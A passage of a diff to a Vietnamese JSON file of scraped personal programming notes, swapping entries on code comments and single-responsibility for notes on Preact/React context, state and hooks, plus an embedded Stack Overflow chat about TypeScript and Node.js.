dạng comment", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment/Bản thân việc lập trình bằng ngôn ngữ bậc cao đã là một dạng comment", + "Tiêu đề": "Mỗi khi state thay đổi thì islands được render lại", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Island, state/Mỗi khi state thay đổi thì islands được render lại", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://www.commitstrip.com/wp-content/uploads/2016/08/Strip-Les-specs-cest-du-code-650-finalenglish.jpg) \r\nNguồn:: ", + "Toàn bộ nội dung": "[[State giúp cập nhật dữ liệu mà không cần tải lại trang]]\r\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vv" + "id": "Zd" }, { - "Tiêu đề": "Comment có thể cho thông tin sai, nhưng code thì không", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment/Comment có thể cho thông tin sai, nhưng code thì không", + "Tiêu đề": "State giúp cập nhật dữ liệu mà không cần tải lại trang", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Island, state/State giúp cập nhật dữ liệu mà không cần tải lại trang", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Don't Write Comments - YouTube](https://youtu.be/Bf7vDBBOBUA?si=Bv-qy1IX8R6quJ88&t=162)", + "Toàn bộ nội dung": "[[UI là kết quả của state và data. State nằm ở client, data nằm ở server]]\r\n[[Mỗi khi state thay đổi thì islands được render lại]]\r\n[[React được sinh ra để làm việc với trạng thái]]\r\nNguồn::\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vw" + "id": "Ze" }, { - "Tiêu đề": "Comment cũng có bug, nhưng không giống như code, không có chương trình nào hỗ trợ debug được nó", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment/Comment cũng có bug, nhưng không giống như code, không có chương trình nào hỗ trợ debug được nó", + "Tiêu đề": "Nói cho đến cùng thì trang web chỉ là form", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Nói cho đến cùng thì trang web chỉ là form", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Comment có thể cho thông tin sai, nhưng code thì không]] \r\nNguồn:: ![Don't Write Comments - YouTube](https://youtu.be/Bf7vDBBOBUA?si=Bv-qy1IX8R6quJ88&t=162)", + "Toàn bộ nội dung": "Nguồn:: ![Fresh: a new full stack web framework for Deno with Luca Casonato - YouTube](https://youtu.be/nBrcmlrekV4?si=yDGZIff-3S645XJd&t=1586)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vx" + "id": "Zf" }, { - "Tiêu đề": "Giải thích về thuật toán, các đánh đổi trong việc ra quyết định hoặc dẫn nguồn là các lý do tốt để comment", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment/Giải thích về thuật toán, các đánh đổi trong việc ra quyết định hoặc dẫn nguồn là các lý do tốt để comment", + "Tiêu đề": "createContext() nằm ngoài global, useContext() nằm trong component", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Context/createContext() nằm ngoài global, useContext() nằm trong component", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Don't Write Comments - YouTube](https://youtu.be/Bf7vDBBOBUA?si=ZEnXAAanTjXiK6jg&t=278)", + "Toàn bộ nội dung": "Lý do:: [[Phải viết hook trong component. Không viết trong loop hoặc if được]]\r\n[[Giá trị trả về của useContext() là giá trị được truyền vào thuộc tính value của provider]]\r\n```jsx\r\nimport { createContext } from 'preact'\r\nimport { useContext } from 'preact/hooks'\r\n\r\nconst TênContext = createContext()\r\n\r\nexport default function App() {\r\n return (\r\n <TênContext.Provider value={giáTrịĐượcTruyềnVàoProvider}>\r\n\t <User />\r\n </TênContext.Provider>\r\n )\r\n}\r\n\r\nfunction User() {\r\n const username = useContext(TênContext) // Nếu giáTrịĐượcTruyềnVàoProvider = 'Bob' thì username = 'Bob'\r\n return <>{username}</>\r\n}\r\n```\r\n\r\nVí dụ:\r\n```tsx\r\nexport const TênContext = createContext('sdf') \r\n\r\nexport default function CấuHìnhProvider({ children }) {\r\n return (\r\n <ContextCấuHình.Provider value={giáTrịĐượcTruyềnVàoProvider} >\r\n {children} \r\n </ContextCấuHình.Provider>\r\n )\r\n} \r\n\r\nfunction Component(){\r\n  const [giáTrịĐượcTruyềnVàoProvider] = useContext(TênContext)\r\n} \r\n```\r\n[Context – Preact Tutorial](https://preactjs.com/tutorial/06-context/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vy" + "id": "Zg" }, { - "Tiêu đề": "Hãy viết code sao cho mình khỏi comment", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment/Hãy viết code sao cho mình khỏi comment", + "Tiêu đề": "Giá trị trả về của useContext() là giá trị được truyền vào thuộc tính value của provider", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Context/Giá trị trả về của useContext() là giá trị được truyền vào thuộc tính value của provider", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Don't Write Comments - YouTube](https://youtu.be/Bf7vDBBOBUA?si=VW8eRGGkheksWlgW)", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Vz" + "id": "Zh" }, { - "Tiêu đề": "Thay vì comment, hãy document. Thay vì giải thích cách code hoạt động, hãy hướng dẫn cách sử dụng nó", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment/Thay vì comment, hãy document. Thay vì giải thích cách code hoạt động, hãy hướng dẫn cách sử dụng nó", + "Tiêu đề": "useContext() là cách để không phải dùng Consumer", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Context/useContext() là cách để không phải dùng Consumer", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Don't Write Comments - YouTube](https://youtu.be/Bf7vDBBOBUA?si=OGmrsV75c4KYl7Rs&t=203)", + "Toàn bộ nội dung": "Bình thường, hàm `createContext()` sẽ cho ta dùng 2 JSX: `Provider` cho đầu vào, và `Consumer` cho đầu ra.\r\n## Đầu vào\r\n```jsx\r\nimport { createContext } from 'preact'\r\n\r\nconst TênContext = createContext('Alice')\r\n\r\nexport default function App() {\r\n return (\r\n\t // provide the username value to our subtree:\r\n\t <TênContext.Provider value=\"Bob\">\r\n\t\t <ComponentCon>\r\n\t\t\t ...\r\n\t\t\t <ComponentConCháuChắtChútChít />\r\n\t\t\t ...\r\n\t\t <ComponentCon />\r\n\t </TênContext.Provider>\r\n\t)\r\n}\r\n```\r\n## Đầu ra\r\n```jsx\r\nimport { TênContext } from \"../routes/index.tsx\";\r\n\r\nexport default function ComponentConCháuChắtChútChít(){\r\n\treturn (\r\n\t <TênContext.Consumer>\r\n\t\t\t{username => (\r\n\t\t\t // access the current username from context:\r\n\t\t\t <span>{username}</span>\r\n\t\t\t)}\r\n\t </TênContext.Consumer>\r\n\t) \r\n} \r\n```\r\n\r\nKhi dùng `useContext()`, đầu ra bây giờ trông như sau:\r\n```jsx\r\nimport { TênContext } from \"../routes/index.tsx\";\r\nimport { useContext } from \"preact/hooks\";\r\n\r\nexport default function ComponentConCháuChắtChútChít(){\r\n\tconst username = useContext(TênContext)\r\n\treturn <span>{username}</span>\r\n} \r\n```\r\n\r\nViệc dùng hook này không chỉ làm code ngắn hơn mà nó còn cho ta được lấy giá trị như một biến bình thường mà không phải ở trong JSX\r\nNó giống như việc [[await với async là cách để viết hàm bất đồng bộ với tư duy khi viết hàm tuần tự]]\r\n\r\nNguồn:: [Context | Preact: Fast 3kb React alternative with the same ES6 API. Components & Virtual DOM.](https://preactjs.com/tutorial/06-context/)\r\n[[createContext() nằm ngoài global, useContext() nằm trong component]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "V-" + "id": "Zi" }, { - "Tiêu đề": "Viết comment", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment/Viết comment", + "Tiêu đề": "Đối số của createContext() quyết định kiểu của value của Context.Provider", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Context/Đối số của createContext() quyết định kiểu của value của Context.Provider", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST \r\nFROM \"✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Viết comment\" \r\nWHERE file.name!=this.file.name\r\n```", + "Toàn bộ nội dung": "```tsx\r\nexport const Context = createContext('a')\r\nexport default function Provider({ children }) {\r\n const arr = ['b', 'c'] \r\n return (\r\n <Context.Provider value={arr}> \r\n {children}\r\n </Context.Provider>\r\n )\r\n}\r\n```\r\nLỗi: `Type 'string[]' is not assignable to type 'string'`", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-02-01T15:54:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "V_" + "id": "Zj" }, { - "Tiêu đề": "Việc tách một khối code thành một hàm khiến cho việc đọc từng dòng trở thành đọc từng bước", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Việc tách một khối code thành một hàm khiến cho việc đọc từng dòng trở thành đọc từng bước", + "Tiêu đề": "Chính vì setState render lại cả component, nên với những file component muốn tách ra nhiều hàm độc lập, và state", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/Chính vì setState render lại cả component, nên với những file component muốn tách ra nhiều hàm độc lập, và state", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" @@ -33095,651 +36904,651 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "W0" + "id": "Zk" }, { - "Tiêu đề": "while familiarity is a perfectly fine reason, it is really a bad sign if it is the only reason", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/while familiarity is a perfectly fine reason, it is really a bad sign if it is the only reason", + "Tiêu đề": "Các hàm set của hook sẽ kích hoạt việc render lại component nơi nó được khai báo", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/Các hàm set của hook sẽ kích hoạt việc render lại component nơi nó được khai báo", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Can I know for what typescript is used for with a realtime example in which it is being used\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479899#56479899)\r\n\r\nHey, team members can I be your friend?\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479901#56479901)\r\n\r\nI am from Pakistan.\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479903#56479903)\r\n\r\nI am 13 years old teenager trying to become fullstack developer\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479906#56479906)\r\n\r\nI have learntadvance HTML basic CSS Medium Javascript and basic Node JS\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479917#56479917)[](https://chat.stackoverflow.com/transcript/17?m=56479895#56479895)\r\n\r\n@MuhammadSafeerHassan its a general purpose programming language, you could use it for almost anything as long as the tool/environment you want it to run for, supports it\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479920#56479920)\r\n\r\n95% of what you could do in Typescript, you can do in Kotlin, C#, Python, or Rust just as well\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479921#56479921)\r\n\r\nand the other way around too\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479924#56479924)\r\n\r\ndont let these websters fool you into thinking that Typescript is the only language that runs on the browser\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479925#56479925)\r\n\r\nif your goal is a job, try looking what languages/tools/services companies use in your area and learn those\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479926#56479926)\r\n\r\nfor me for example, the primary demand near my place is Java and C#, so you will have a harder time looking for a job with Python\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479927#56479927)\r\n\r\nalso, considering you are quite young, maybe the stuff they use now, they wont use in 5 years\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56479928#56479928)\r\n\r\nbut that chance is quite slim\r\n\r\n2 hours later…\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackoverflow.com/users/17202960/parking-master \"Parking Master\")\r\n\r\n1:51 PM\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480134#56480134)\r\n\r\n@Wietlol I've always looked at Typescript as some strange Javascript alternative that writes examples of functions for your code editor 😂\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480135#56480135)\r\n\r\nI've never actually used typescript before lol.\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480136#56480136)\r\n\r\nI look at Typescript as an attempt to describe how horrible Javascript really is\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480137#56480137)\r\n\r\nand it does quite a good job at it as well\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480138#56480138)\r\n\r\nI would swap it out any time for almost any other language though\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackoverflow.com/users/17202960/parking-master \"Parking Master\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480139#56480139)\r\n\r\nYou don't like Javascript? How?\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480140#56480140)\r\n\r\nthe fake type system gives a false sense of security for a dev that is used to statically typed languages\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackoverflow.com/users/17202960/parking-master \"Parking Master\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480141#56480141)\r\n\r\nI built an AI desk robot that does anything I ask it and even plays videogames sometimes (and I did it with pure Javascript) so Javascript is pretty great lol\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480142#56480142)\r\n\r\nJavascript is just too easy to make mistakes with, it has too many different ways to do the same thing, it bulks up piles of legacy behaviour, and you constantly have to look for support in the target environments\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackoverflow.com/users/17202960/parking-master \"Parking Master\")\r\n\r\n1:55 PM\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480145#56480145)\r\n\r\nHow about Node.js wise? No need for browser support there lol\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480146#56480146)\r\n\r\nand the tooling is also not great\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480147#56480147)\r\n\r\nFrontend devs were so preoccupied with whether or not they could run Javascript in the backend, they didn't stop to think if they should :P\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480148#56480148)\r\n\r\nbut jokes aside, why would I choose to use NodeJS?\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackoverflow.com/users/17202960/parking-master \"Parking Master\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480149#56480149)\r\n\r\nBecause it's a huge group of developers who make awesome packages so you can literally program whatever you want with it without learning an extremely complex language like C#\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480159#56480159)\r\n\r\nthe primary reason to use NodeJS is familiarity \r\nif you are already familiar with JS/TS, and you, as frontend dev, want to do backend stuff, NodeJS is the way to go\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480160#56480160)\r\n\r\nbut, while familiarity is a perfectly fine reason, it is really a bad sign if it is the only reason\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480166#56480166)\r\n\r\nas someone who learned about a proper type system first-hand, anything that doesnt have a proper type system by itself is a pain to work with\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackoverflow.com/users/17202960/parking-master \"Parking Master\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480169#56480169)\r\n\r\nFor me, it's the nostalgia of Node.js when I used to program these huge projects on a little Raspberry Pi, and it's because I hate Java or C\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480171#56480171)\r\n\r\nAnd running a simple \"npm i package\" is so simple to install any package you want\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480172#56480172)\r\n\r\nI'm an NPM package developer myself. I like that you don't have to pay for anything and it's so easy to build a package. They usually get lots of downloads too\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480174#56480174)\r\n\r\nits funny, because the things you listed are pretty much the same in other major stacks\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackoverflow.com/users/17202960/parking-master \"Parking Master\")\r\n\r\n2:04 PM\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480175#56480175)\r\n\r\nOk, I'll see you later. Gotta get out of bed where I am lol. Have a good day (or night) ;)\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480177#56480177)\r\n\r\nLol, really? I thought that was a more personal opinion but ok.\r\n\r\n![Wietlol](https://i.stack.imgur.com/cUip8.png?s=16&g=1)\r\n\r\n[Wietlol](https://chat.stackoverflow.com/users/2764866/wietlol \"Wietlol\")\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480178#56480178)\r\n\r\nfor example, in C# or Java, there are also a huge group of developers with many extremely good and interesting packages freely available \r\nand installing those packages is done pretty much in the same way, either just edit the package.json (pom.xml, build.gradle, *.csproj, etc) or using the command line or even user interface of your IDE\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480180#56480180)\r\n\r\nhosting is also free, the only thing that is a bit special is in Java, where you have to make a request to the maintainers of the central package repository to review your package to host it there\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480181#56480181)\r\n\r\non the bright side, it does mean that you can trust that the packages from the central repo are safe to use\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480182#56480182)\r\n\r\non the down side, you cant just upload stuff\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480183#56480183)\r\n\r\nand the code has to be shared with the maintainers\r\n\r\n![Cerbrus](https://i.stack.imgur.com/i63aC.gif?s=16&g=1)\r\n\r\n[Cerbrus](https://chat.stackoverflow.com/users/1835379/cerbrus \"Cerbrus\")\r\n\r\n2:19 PM\r\n\r\n[](https://chat.stackoverflow.com/transcript/17?m=56480197#56480197)[](https://chat.stackoverflow.com/transcript/17?m=56480141#56480141)\r\n\r\n@ParkingMaster can it make me a sandwich?\r\n\r\n![Parking Master](https://i.stack.imgur.com/kHCN5.png?s=16&g=1)\r\n\r\n[Parking Master](https://chat.stackov", + "Toàn bộ nội dung": "[[Render là quá trình chuyển đổi dữ liệu và code sang HTML]]\r\nNguồn:: [useState – React](https://react.dev/reference/react/useState#usestate)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "W1" + "id": "Zl" }, { - "Tiêu đề": "Mỗi lớp, hàm, mô đun chỉ đảm nhiệm một nhiệm vụ xác định", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Đơn nhiệm/Mỗi lớp, hàm, mô đun chỉ đảm nhiệm một nhiệm vụ xác định", + "Tiêu đề": "Cách dùng useEffect với useState", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/Cách dùng useEffect với useState", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Nguyên lý SRP – Single Responsibility Principle\n\n### Ví dụ\n\nHãy giả sử bạn làm việc ở một công ty nào đó. Bạn đảm nhiệm đồng thời công việc của kế toán và thủ kho. Như vậy bạn đồng thời phải biết và tuân thủ quy trình nghiệp vụ của cả hai bên. Bất kỳ bên nào có sự thay đổi về yêu cầu nghiệp vụ bạn sẽ phải thay đổi theo. Ôm nhiều vai cùng lúc vừa vất vả, vừa không chuyên tâm, vừa khó thay đổi.\n\nLấy một ví dụ khác. Giả sử bạn phát triển một phần mềm quản lý. Phần mềm này có chức năng kết xuất báo cáo (từ dữ liệu) và in ấn báo cáo. Tôi tin rằng nhiều bạn sẽ nhồi chúng vào cùng một class vì cùng là làm việc với báo cáo! Như vậy class này có thể thay đổi vì hai lý do: (1) nội dung của báo cáo thay đổi, (2) định dạng của báo cáo thay đổi.\n\n### Nguyên lý SRP\n\nNguyên lý chữ S cho rằng, việc có nhiều lý do khác nhau dẫn đến thay đổi một class như trên là một thiết kế tồi. Hay nói cách khác, chỉ có một lý do duy nhất để thay đổi một class. Từ đây cũng dẫn đến một cách giải thích khác: mỗi class chỉ nên chịu trách nhiệm cho một phần duy nhất của phần mềm.\n\nQuay trở lại hai ví dụ trên, chức năng kết xuất báo cáo nên được đặt trong một class riêng, chức năng in báo cáo đặt trong một class khác. Hai nhiệm vụ khác nhau không đặt chung trong một class. Một người không nên đảm trách nhiều nhiệm vụ khác nhau.\n\n### Vận dụng\n\nLỗi thường gặp nhất khi các bạn học (và sử dụng) OOP là nhồi nhét đủ mọi thứ vào một class. Ví dụ, nhồi hết code giao diện với code xử lý nghiệp vụ và code xử lý dữ liệu. Đây là tình huống gặp đặc biệt nhiều khi dùng [console](https://tuhocict.com/net-console-mvc-library-1/) hay [windows forms](https://tuhocict.com/giai-phap-winforms-1-phan-tich-van-de-bai-toan-minh-hoa/).\n\nHãy cố gắng tách code ra nhiều class nhỏ theo chức năng của chúng sao cho mỗi class chỉ đảm nhiệm một nhiệm vụ xác định. Ví dụ, (1) class chuyên cho xuất thông tin của danh sách dữ liệu, (2) class chuyên cho nhập dữ liệu, (3), class chuyên cho truy xuất dữ liệu, v.v..\n\nViệc tạo nhiều class nhỏ cũng có lợi thế so với một vài class lớn khi bảo trì code. Tuy nhiều class hơn nhưng mỗi class lại đơn giản hơn, do đó code ít bị lỗi hơn. Khi chỉnh sửa class nhỏ sẽ đơn giản hơn.\n\nĐể làm được việc này bạn phải phân tích rất rõ yêu cầu của bài toán. Từ đó đưa ra những chức năng chi tiết và hệ thống hóa chúng. Từ đó bạn xác định những class cần xây dựng sao cho mỗi class đảm nhiệm đúng một nhiệm vụ trong đó.\n\nNguồn:: [[tuhocict]], [Bộ nguyên lý SOLID - lập trình viên tương lai cần biết | Tự học ICT](https://tuhocict.com/bo-nguyen-ly-solid-lap-trinh-vien-tuong-lai-can-biet/)\n", + "Toàn bộ nội dung": "[[useEffect được sinh ra là để side effect không tự động chạy mỗi khi component được render]]\r\n[[Trong useEffect chỉ dùng được promise, không dùng async được]] \r\n```ts\r\nconst [data, setData] = useState()\r\n\r\nuseEffect(() => {\r\n const fetchData = async () => {\r\n const data = await fetch('https://yourapi.com')\r\n const json = await response.json();\r\n setData(json);\r\n }\r\n // call the function\r\n fetchData().catch(console.error);\r\n}, [])\r\n```\r\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-09-02T08:10:00.000Z", - "id": "W2" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Zm" }, { - "Tiêu đề": "Sự couple dễ được sinh ra khi muốn xử lý các dữ liệu giống nhau về chức năng và na ná nhau về cấu trúc và cách xử lý", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Đơn nhiệm/Sự couple dễ được sinh ra khi muốn xử lý các dữ liệu giống nhau về chức năng và na ná nhau về cấu trúc và cách xử lý", + "Tiêu đề": "Dùng setState gọn hơn signal nếu không phải truyền setter qua nhiều hàm khác nhau", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/Dùng setState gọn hơn signal nếu không phải truyền setter qua nhiều hàm khác nhau", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ví dụ như `BàiĐăng` và `NơiĐăng` giống nhau về chức năng và na ná nhau về cấu trúc và cách xử lý\r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "Do nó không phải khai báo value. Khi phải .value để lấy dữ liệu, thì hay bị sơ ý\r\nkhông gặp vấn đề đặt tên biến [[Việc đặt tên không có tiền tố gì sẽ tiện khi nó thường được dùng thường xuyên ở những nơi khác, ở trong một danh sách, hoặc khi dùng để liệt kê các thuộc tính]]\r\n```\r\ncấuHìnhNơiĐăngSignal.value = cấuHìnhNơiĐăng;\r\n```\r\n[[Signal giúp giải quyết các vấn đề do useState hoặc Context tạo ra]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "W3" + "id": "Zn" }, { - "Tiêu đề": "Tránh dùng hàm lồng để làm giảm sự couple", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Nguyên lý/Đơn nhiệm/Tránh dùng hàm lồng để làm giảm sự couple", + "Tiêu đề": "Không dùng mảng hoặc vật thể trong setState được", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/Không dùng mảng hoặc vật thể trong setState được", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Function Nesting Use Cases _(mostly functional idioms, almost certainly 